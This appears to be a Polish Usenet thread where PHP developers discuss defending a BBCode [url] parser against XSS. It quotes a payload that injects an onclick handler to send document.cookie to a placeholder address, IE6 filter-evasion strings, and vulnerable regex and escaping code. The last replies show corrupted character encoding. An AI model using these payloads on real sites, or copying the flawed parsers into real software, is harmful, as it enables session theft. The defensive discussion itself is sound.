[url=http://localhost"onclick="this.href='xxx'+document.cookie]amazing
stuff[/url]
Dziurawy kod parsujący linki ze Strefy PHP:
preg_replace('#\[url=(.*?)?(.*?)\](.*?)\[/url\]#si', '<a href="\\2">\
\3</a>', $xxx)
Jak zabezpieczyć stronę przed XSS? Czy należy:
1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu
określić, które znaki mogą wystąpić
2) zamieniać " na " - raczej nie obędzie się bez
preg_replace_callback
Można też zamieniać " na " globalnie za pomocą htmlspecialchars()
bez drugiego parametru (tylko podwójny cudzysłów), ale nie można już
stosować tej zasady np. do tytułów, gdzie często liczy się ilość
znaków (" = 1, " = 6).
Blokowanie konkretnych atrybutów nie widzi mi się - nigdy nie wiadomo,
gdzie pojawi się złośliwy kod. Nawet w style.
Kolejny problem - jak pominąć wnętrze znacznika [code] [/code] podczas
parsowania kodu BBCode? Trzeba wziąć pod uwagę, że oprócz http://
istnieją inne protokoły, np. svn://, gg:, ftp://
Błędem jest na pewno wykrywanie wyrazów java script: oraz vb script:
za pomocą str_replace(). Zadanie wykonuje str_ireplace(). IE 6 jest
szczególnym przypadkiem, w którym działają chwyty typu:
jav
ascript:alert('XSS');
jav ascript:alert('XSS');
Najważniejsze, by nie przepuścić w atrybutach BBCode niedozwolonych
znaków i filtrować ściśle wszystkie dane pochodzące z zewnątrz. Zabawa
w usuwanie Unicode, HEX itd. raczej mija się z celem.
Nie wiem, jak poprawnie parsować URL-e. Ograniczanie wartości do
konkretnych znaków może spowodować, że niektóre adresy URL nie zostaną
wykryte. Co lepsze? Usuwanie " i innych niewygodnych elementów, czy
ograniczenie adresów URL do konkretnych znaków?
PS. Poniższy rexexp też NIE chroni przed XSS:
@\[url\]([A-Za-z0-9.].*?)?([A-Za-z0-9$-_.+!*\'(),#].*?)\[/url\]@si
> Rozważmy przykład kodu BBCode:
>
> [url=http://localhost"onclick="this.href='xxx'+document.cookie]amazing
> stuff[/url]
>
> Dziurawy kod parsujący linki ze Strefy PHP:
>
> preg_replace('#\[url=(.*?)?(.*?)\](.*?)\[/url\]#si', '<a href="\\2">\
> \3</a>', $xxx)
>
> Jak zabezpieczyć stronę przed XSS? Czy należy:
> 1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu
> określić, które znaki mogą wystąpić
> 2) zamieniać " na " - raczej nie obędzie się bez
> preg_replace_callback
hmm... a jakbys calosc przemielil htmlspecialchars, a potem parsowal BB?
nie wiem czy " moze byc w URL, ale & na pewno moze, a w HTML mocno
powinien (znaczy jak nie bedzie, to tylko blad, ale strona powinna dzialc
mimo to), a w XHTML absolutnie musi byc zamieniony na encje...
taki kod z palca moze by dzial:
$out=preg_replace('#\[url=([^\]]+)\](.*?)\[/url\]#i','<a
href="$1">$2</a>',htmlspecialchars($in));
nie znam specyfikacji BB, wiec pojecia nie mam czy jest dobrze...
> [...]
Tytuł " <hej> " po przejechaniu htmlspecialchars() bez II parametru
zawiera 13 znaków, a powinien 7. Operacje na takim ciągu znaków typu
"pokaż N znaków tytułu" kończą się niewłaściwym wynikiem.
Może to błąd. Można ewentualnie zamieniać dodatkowo " na encje w
parserze BBCode.
Hmm... ale przejechać tym htmlspecialchars to powinieneś dopiero przy
wyświetlaniu, a nie przy przechowywaniu tego w bazie/wherever...
--
Pozdrawiam,
Bartosz Derleta
Bezpieczniej? Raczej dane w bazie powinno się przechowywać w postaci
"czystej", a do takich wersja z encjami chyba nie należy. Poza tym,
jeśli będziesz miał potem co innego zrobić z tymi samymi danymi (np.
wysłać mailem), co wtedy?
> Wracając do tematu, czy jest skuteczne
> rozwiązanie, aby ochronić użytkowników przed XSS w znaczniku [URL] w
> BBCode?
Tak. Normalnie, zapisuj to co wyciągniesz do bazy (nawet bez
czyszczenia), a przy wyświetlaniu htmlspecialchars i to wszystko.
Sprawdź tylko, czy na pewno z przodu jest http:// / https://.
--
Pozdrawiam,
Bartosz Derleta
> Dane z zewnątrz oczywiście filtruję, ale bez zamiany " i ' na encje.
> Nie ma sensu tego robić np. w tytułach i innych danych, gdzie nie
> występuje BBCode.
chyba mozna nie robic, ale IMO ladniej robic wszedzie zamiane wszyskich
znakow specjalnych...
> Tytuł " <hej> " po przejechaniu htmlspecialchars() bez II parametru
> zawiera 13 znaków, a powinien 7. Operacje na takim ciągu znaków typu
> "pokaż N znaków tytułu" kończą się niewłaściwym wynikiem.
ano... jakbys mial text w utf, to tez by mogla byc kaszana, bo PHP zwykle
traktuje tekst jako tablica bajtow, a w utf znak ma rozny rozmiar, czasem
bajt, czasem 2, czasem wiecej...
http://pornel.net/source/domlettersiterator.php to moze pomoc, ale wymaga
drzewa DOM...
> Może to błąd. Można ewentualnie zamieniać dodatkowo " na encje w
> parserze BBCode.
IMO htmlspecialchars() i potem regexp powinno dzialac dobrze... taki re
jak podalem eliminuje onclick, jak chcesz sie pozbyc rozniez
href="javascript:..." to trzeba podac dokladniej postac URLa...
tak, ale BB dekodujemy tez wtedy, do bazy powinno byc tylko escape'owanie
bazowe, a dekodowanie BB przy wypluwaniu, bo nie tylko escapeowanie zalezy
od tego, gdzie wypluwamy, ale to, do czego przerabiamy BB tez...
znaczy jesli wypluwamy do maila tekstowego, i nie robimy htmlsecialchars,
to BB tez nie przerabiamy na <a href="">, tylko na cos innego...
a jak mail HTMLowy, to i htmlsecialchars, i dekodowanie BB htmlowe, i
potem dopiero specyficzne mailowe escape'owanie...
> Po co wywoływać htmlspecialchars() dla każdego elementu pochodzącego z
> zewnątrz przy każdym wyświetleniu strony? Nawet bezpieczniej zrobić z
> nimi porządek przy zapisie. :)
zeby miec mozliwosc prezentowania danych w rony sposob: jak strona HTML,
mail, ...
ale jelsi jestes pewnien, ze zawsze bedzie na stronie, to mozesz przerobic
do HTMLa przy wprowadzaniu danych
> Wracając do tematu, czy jest skuteczne
> rozwiązanie, aby ochronić użytkowników przed XSS w znaczniku [URL] w
> BBCode?
moj sposob powinien byc bezpieczny... chyba ze widzisz cos, czego ja nie
dostrzegam...
> zeby miec mozliwosc prezentowania danych w rony sposob: jak strona HTML,
> mail, ...
> ale jelsi jestes pewnien, ze zawsze bedzie na stronie, to mozesz
> przerobic do HTMLa przy wprowadzaniu danych
HTML trudniej obrabiać: strlen('&') != strlen('&') (to wpływa na walidację danych wejściowych, max. wielkości w kolumnach, przycinanie tekstu, itp.)
Funkcje, które spodziewają się HTML z bazy mogą stać się niebezpieczne, gdy dostaną dane z innego źródła albo przez jakiegoś buga do bazy dostaną się niezakodowane dane.
--
http://pornel.net
this.author = new Geek("porneL");
$out=preg_replace('#\[url=([^\]]+)\](.*?)\[/url\]#i','<a
href="$1">$2</a>',htmlspecialchars($in));
to zabezpiecza przed nielegalnymi znakami, znaczy je zamienia na encje,
wiec nie moga juz XSSowac...
mozna wyspecyfikowac postac URLa dokladniej, np. tak:
$out=preg_replace('#\[url=((?:ftp|https?)://[^\]]+)\](.*?)\[/url\]#i','<a
href="$1">$2</a>',htmlspecialchars($in));
wtedy mozna podac URL tylko zaczynajacy sie od protokolu ftp, http i
https, pseudoprotokol javascript juz nie przejdzie...
a, i zwroc uwage na to, ze w moim wzorze jest htmlspecialchars, jak juz
masz prze-htmlspecialchars-owane, to drugi raz tego nie rob...
Na koniec polecam stronę: http://ha.ckers.org/xss.html
Tak zachwalana Opera w wersji 9.2 jeszcze była podatna na sztuczki z
białymi znakami. IE 6 ma jeszcze więcej luk.
Teraz zabieram się za robotę i zobaczę, co z tego wyjdzie.
> Dane przechodzą przez htmlspecialchars() wcześniej, ale bez zamiany "
> i '. To chyba można zrobić oddzielnie dla linków.
no mozna tak cudowac, ale czemu nie dac normalnego htmlspecialchars() dla
wszyskiego?
> I tak muszę przepuścić URL-e przez callback, aby je skrócić, więc
> zastosuję tam
> też odpowiednie zabezpieczenia. :)
> Na koniec polecam stronę: http://ha.ckers.org/xss.html
>
> Tak zachwalana Opera w wersji 9.2 jeszcze była podatna na sztuczki z
> białymi znakami. IE 6 ma jeszcze więcej luk.
>
> Teraz zabieram się za robotę i zobaczę, co z tego wyjdzie.
function Clean($val,$max=0,$wr=0)
{
if($max) $val = substr($val,0,$max);
if($wr)
{
static $words1,$words2;
include_once './cfg/words.php';
$val = str_replace($words1,$words2,$val); //Cenzura
}
return trim(htmlspecialchars($val,0)); //Gdzie 0 = NO_QUOTES
}
W efekcie zafundowałem SUPER XSS. Wszystkie pola formularza są podatne
na XSS. Czy usunąć dodatkowy parametr z funkcji htmlspecialchars()?
Czy inaczej rozwiązać kwestię XSS?
PS. Wolę zabezpieczać dane przed zapisem do bazy niż przy
wyświetlaniu.
Zaraz... Przechodzę na UTF-8, więc używanie " jako cudzysłowu będzie
bzdurą? Nawet w tytułach? Choć i tak wszyscy będą używać " zamiast
prawidłowych znaków.
> W efekcie zafundowa�em SUPER XSS. Wszystkie pola formularza s� podatne
> na XSS. Czy usun�� dodatkowy parametr z funkcji htmlspecialchars()?
Usun�� ca�� funkcj�. Albo co� jest HTML albo tekstem. Hybrydy p�-tekstowo-p�-HTMLowe prosz� si� o XSS albo widoczne niechciane encje/tagi na stronie.
> PS. Wolďż˝ zabezpieczaďż˝ dane przed zapisem do bazy niďż˝ przy
> wy�wietlaniu.
Czyli wolisz to robi� �le i przysparza� sobie k�opot�w.
Nie istnieje co� takiego jak bezpieczne albo niebezpieczne dane. Dane to dane. Jedynie program, kt�ry miesza dane z kodem jest niebezpieczny.
Po prostu przy generowaniu HTML musisz to robi� prawid�owo, a nie liczy� na to, �e nieprawid�owa obr�bka poszatkowanych danych da prawid�owy wynik.